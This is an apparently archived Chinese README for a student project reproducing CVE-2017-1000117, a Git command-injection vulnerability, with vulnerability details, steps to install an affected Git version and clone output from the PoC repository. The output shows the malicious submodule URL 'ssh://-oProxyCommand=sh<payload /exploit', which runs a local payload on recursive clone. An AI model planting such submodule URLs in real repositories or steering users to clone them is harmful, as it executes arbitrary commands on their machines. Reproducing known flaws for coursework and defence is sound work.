关联漏洞
标题:
Git 命令注入漏洞
(CVE-2017-1000117)
描述:Git是美国软件开发者林纳斯-托瓦兹(Linus Torvalds)所研发的一套免费、开源的分布式版本控制系统。 Git 2.7.5之前的版本中存在命令漏洞。远程攻击者可借助特制的‘ssh://...’URL利用该漏洞运行任意设备已退出的程序。
描述
CVE-2017-1000117漏洞复现(PoC+Exp)
介绍
# CVE-2017-1000117
### 项目简介
+ 网络安全课程设计选题之一
+ CVE-2017-1000117 漏洞的复现(PoC+Exp)
+ Git + SSH
### 漏洞简介:
+ 漏洞名称: Git命令注入漏洞
+ CNNVD编号:CNNVD-201708-670
+ 危害等级:中危
+ CVE编号:CVE-2017-1000117
+ 漏洞类型:命令注入
+ 发布时间:2017-08-16
+ 威胁类型:远程
+ 更新时间:2017-10-17
+ 厂商:git-scm
+ 漏洞来源:TrevorJay
+ 漏洞简介:Git是美国软件开发者林纳斯-托瓦兹(LinusTorvalds)所研发的一套免费、开源的分布式版本控制系统。Git2.7.5之前的版 本中存在命令漏洞。远程攻击者可借助特制的‘ssh://...’URL利用该漏洞运行任意设备已退出的程序。
### 利用过程
+ 安装漏洞范围内的版本的Git工具([Git for Linux]([https://github.com/git/git/releases](https://mirrors.edge.kernel.org/pub/software/scm/git/)、[Git for Windows](https://github.com/git-for-windows/git/releases)))
+ 我这里选择的是`git-2.12.1`这个版本(亲测Linux和Windows该版本都可用)(Linux和Windows对应的`2.12.1`版本的下载地址分别为 [git-2.12.1.tar.gz](https://github.com/git/git/archive/v2.12.1.tar.gz) 、[Git-2.12.1-64-bit.tar.bz2](https://github.com/git-for-windows/git/releases/download/v2.12.1.windows.1/Git-2.12.1-64-bit.tar.bz2))
+ 安装好Git直接包括子模块进行Clone项目:`git clone --recursive https://github.com/AnonymKing/CVE-2017-1000117.git`
```bash
$ git clone --recursive https://github.com/AnonymKing/CVE-2017-1000117.git
Cloning into 'CVE-2017-1000117'...
remote: Enumerating objects: 14, done.
remote: Counting objects: 100% (14/14), done.
remote: Compressing objects: 100% (13/13), done.
remote: Total 14 (delta 3), reused 8 (delta 0), pack-reused 0
Unpacking objects: 100% (14/14), done.
Submodule 'exploit' (ssh://-oProxyCommand=sh<payload /exploit) registered for path 'exploit'
Cloning into 'C:/Users/AnonymKing/Desktop/Git-2.12.1-64-bit/test/CVE-2017-1000117/exploit'...
Pseudo-terminal will not be allocated because stdin is not a terminal.
*********************************************
_ooOoo_
o8888888o
88" . "88
(| -_- |)
O\ = /O
____/`---'\____
.' \\| |// `.
/ \\||| : |||// \
/ _||||| -:- |||||- \
| | \\\ - /// | |
| \_| ''\---/'' | |
\ .-\__ `-` ___/-. /
___`. .' /--.--\ `. . __
."" '< `.___\_<|>_/___.' >'"".
| | : `- \`.;`\ _ /`;.`/ - ` : | |
\ \ `-. \_ __\ /__ _/ .-` / /
======`-.____`-.___\_____/___.-`____.-'======
`=---='
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
ssh_exchange_identification: Connection closed by remote host
fatal: Could not read from remote repository.
Please make sure you have the correct access rights
and the repository exists.
fatal: clone of 'ssh://-oProxyCommand=sh<payload /exploit' into submodule path 'C:/Users/AnonymKing/Desktop/Git-2.12.1-64-bit/test/CVE-2017-1000117/exploit' failed
Failed to clone 'exploit'. Retry scheduled
```
+ 当你看到佛祖出现的时候,漏洞已经被复现出来了,payload中的恶意代码已经被成功执行。
---
### 2019/06/21 10:30 更新
+ 写报告的时候突然发现这个漏洞和 CVE-2018-17456 这个漏洞及其的相似,只是换了个说法,其根本都是都是无法正确解析符号“-”,误把其解析为参数才导致了任意代码执行。
+ 关于 CVE-2018-17456 这个漏洞的利用可以参考这篇博文:[《Git Submodule 漏洞(CVE-2018-17456)分析》](https://paper.seebug.org/716/](https://paper.seebug.org/716/)
---
### 2019/06/21 19:39 更新
+ 查找相关资料的时候又发现一个很类似的漏洞 CVE-2018-11235
+ 关于 CVE-2018-11235 漏洞这里给出几个参考文章:[CVE-2018-11235 git RCE](https://staaldraad.github.io/post/2018-06-03-cve-2018-11235-git-rce/)、[PoC exploit for CVE-2018-11235](https://github.com/Rogdham/CVE-2018-11235)、[Git远程代码执行漏洞(CVE-2018-11235)的详细分析](https://www.anquanke.com/post/id/146909)
文件快照
[4.0K] /data/pocs/e903b150c3215be440c74ab2f18bc7ce23178204
├── [4.0K] exploit
├── [ 410] payload
└── [4.1K] README.md
1 directory, 2 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。